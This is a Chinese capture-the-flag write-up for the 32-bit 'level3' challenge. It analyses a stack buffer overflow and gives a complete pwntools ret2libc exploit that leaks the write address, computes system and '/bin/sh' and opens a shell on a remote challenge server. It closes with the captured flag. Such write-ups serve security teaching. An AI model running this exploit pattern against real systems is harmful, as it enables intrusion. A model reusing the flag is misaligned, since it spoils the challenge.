解题
分析
checksec一下,发现是一个32位并且开启了NX。
拖入ida中,main函数开始分析。
这里有个函数,进去看一下是什么,在根据运行的进行看。
运行的时候,运行的第一句话是Input:,之后随意输入一些数据,显示的是Hello,World!
那么返回到汇编进行查看,也基本可以看懂,从main函数开始,跳转到了vulnerable_function函数里面,之后输出第一个Input:下面有一个buf,可以看看能不能从buf入手。
获得到了buf的栈空间是0x88,之后为了覆盖返回地址,所以要+0x04.
之后查看字符串,发现没有给system和/bin/sh,但是给了一个libc.so.6,附件中也给了一个libc_32.so.6那么大概知道了,这个考点是libc泄露,那么两个库定下来了,一个是LibcSearcher和pwn库,利用ROP来查看一下位置,我发现一个问题,我用LibcSearcher没发现我的版本,那么我就用最开始的那种写法,但是LibcSearcher的写法我都注释上了。
脚本
from pwn import *
from LibcSearcher import *
#加载
#p = process('./level3')
p = remote('111.200.241.244',52250)
context(os = 'linux',arch = 'i386',log_level = 'debug')
#gdb.attach(p)
elf = ELF('level3')
lib = ELF('libc_32.so.6')
#got plt
write_a = elf.sym['write']
main_a = elf.sym['main']
got_write = elf.got['write']
plt_write = elf.plt['write']
libc_write = lib.sym['write']
lib_sys = lib.sym['system']
lib_bin = 0x0015902b
#第一次
payload_a = b'a'*(0x88+0x04) + p32(write_a) + p32(main_a) + p32(1) + p32(got_write) + p32(4)
#print('payload_a:' + payload_a)
p.recvline()
p.sendline(payload_a)
write_got=u32(p.recv()[:4])
#在第一次中获得
#libc = LibcSearcher('write',write_got)
#libc_b = write_got - libc.dump('write')
#system_a = libc_b+ libc.dump('system')
#binsh_a = libc_b + libc.dump('str_bin_sh')
libc = write_got - libc_write
sys_a = libc + lib_sys
_bin_sh = libc + lib_bin
#第二次
payload_b = b'a'*(0x88+0x04) + p32(sys_a) + p32(1) + p32(_bin_sh)
p.recvline()
p.sendline(payload_b)
p.interactive()
最后获得flag是cyberpeace{e983ea909cd634b95bb4650cd47ff818}